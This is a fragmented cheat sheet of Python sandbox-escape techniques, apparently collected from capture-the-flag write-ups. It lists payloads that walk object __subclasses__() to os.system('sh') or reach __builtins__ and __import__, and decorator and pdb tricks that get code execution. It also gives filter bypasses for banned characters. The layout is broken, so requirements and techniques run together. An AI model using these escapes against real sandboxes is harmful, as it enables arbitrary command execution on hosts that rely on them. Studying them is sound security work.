References:
Table of contents:
a=1
in exec[a:=1]
in eval[a for a in [1]]
[[a]for[a]in[[1]]]
__import__('os')
: help.__class__.__getitem__ = __import__;help['os']
for object, ExceptionGroup.__class_getitem__ = __import__;ExceptionGroup["os"]
for classbreakpoint()
: license._Printer__setup = breakpoint; str(license)
exec(input())
: @exec\n@input\nclass a: pass
__import__('os')
: help.__class__.__getattr__ = __import__;help.os
help.__doc__[index]
().__class__.__base__.__subclasses__()
().__class__.__mro__[1].__subclasses__()
().__reduce_ex__(2)[0].__builtins__
().__reduce_ex__(2)[0].__globals__
().__setattr__.__objclass__.__subclasses__()
True
[]>[]
is False
[[]]>[]
is True
[]is[]
is False
not[]is[]
is True
-~x
is x+1
_aix_support._read_cmd_output(cmd)
_osx_support._read_output(cmd)
breakpoint()
code.InteractiveConsole().interact()
code.interact()
doctest.debug_script(src)
pdb.set_trace()
pdb.run(src)
pydoc.pipe_pager(text, cmd)
pydoc.tempfile_pager(text, cmd)
Requirements:
obj.__class__.__getitem__ = func
and obj[arg]
to call function[[]for[a]in[[b]]]
instead of a = b
obj.__class__.__getattr__ = __import__
and obj.os
to import os
Details here.
Requirements:
.
: use lambda function to reuse value.__getattribute__
call().__setattr__.__objclass__.__subclasses__()[os_index].__init__.__globals__['system']('sh')
to get shellDetails here.
Requirements:
eta
: no getattr/setattr, use obj[name]
to access fields().__reduce_ex__(2)[0].__globals__['__builtins__']['__import__']('os')
to get os'aa'.__len__()
for 2
, use \xXX
in stringsDetails here.
Requirement:
+
: search for a short combination to create the intended stringDetails here.
Requirements:
a-b
, 1337
and a*b
Details here.
Use unicode bypass to avoid str.title()
.
Details here.
Requirements:
()
but no parameters: Use pdb.set_trace()
or code.InteractiveConsole().interact()
str[index]
to create stringsTrue
as 1().__class__.__base__.__subclasses__()
Details here.
Requirements:
e
or E
: Use list(x.__dict__)[index]
to find strings with e
in it and call it via x.__dict__[list(x.__dict__)[index]](args)
().__class__.__mro__[1].__subclasses__()
Details here.
Requirements:
().__class__.__base__.__subclasses__()[os_wrap_index].__init__.__globals__["system"]("sh")
c
, only allow %
binary op: use "%c%c" % (97, 98)
to construct strings()<((),)
as 1
, use -~x
as x+1
.
: use getattr(A, "B")
as A.B
Details here.
Requirements:
f"{license}" for license._Printer__setup in [function_to_call]]
to call function_to_call
.__builtins__
of the given function to access builtins dict, or .__globals__["__builtins__"]
of the given function to access builtins module[a:=b]
for assignmentDetails here.
Requirement:
Details here.
Requirements:
([=])
: call functions using decorators, @exec\n@input\nclass a: pass
\r
instead of \n
for multiline codeDetails here.
Requirements:
(''=='')
as 1().__class__.__base__.__subclasses__()
Details here.
Requirements:
()
but no parameters: Use sys.modules["pdb"].set_trace()
().__class__.__base__.__subclasses__()
to find sys
Details here.
Requirements:
True
as 1len(set(input)) <= 17
: Reuse characters already appearedDetails here.
Requirements:
1,
to bypass since it is not a full matchDetails here.
Requirements:
globals()[function_name]
to bypassDetails here.
Requirements:
'
: Use "
for strings().__class__.__base__.__subclasses__()
to bypassDetails here.
Requirements:
arr[[]is[]]
for arr[0]
, arr[not[]is[]]
for arr[1]
, arr[not[]is[]:][not[]is[]]
for arr[2]
[class[arg] for class.__class_getitem__ in [function_to_call]]
to call function[... for a in [b] for c in [d]]
\f
i.e. form feed[].__class__.__base__.__subclasses__()
<class 'os._wrap_close'>
to find systemDetails here.
Requirements:
[ad-z]+
Details here.
Requirements:
()
: Use class.__class_getitem__
and class[]
to bypassstr[index]
to create stringsTrue
as 1\r
to bypass while making input()
happy().__class__.__base__.__subclasses__()
Details here.
Requirements:
Details here.
Requirements:
CALL_FUNCTION
instead of CALL_METHOD
, i.e. use B = A.method; C = B()
instead of A.method()
Details here.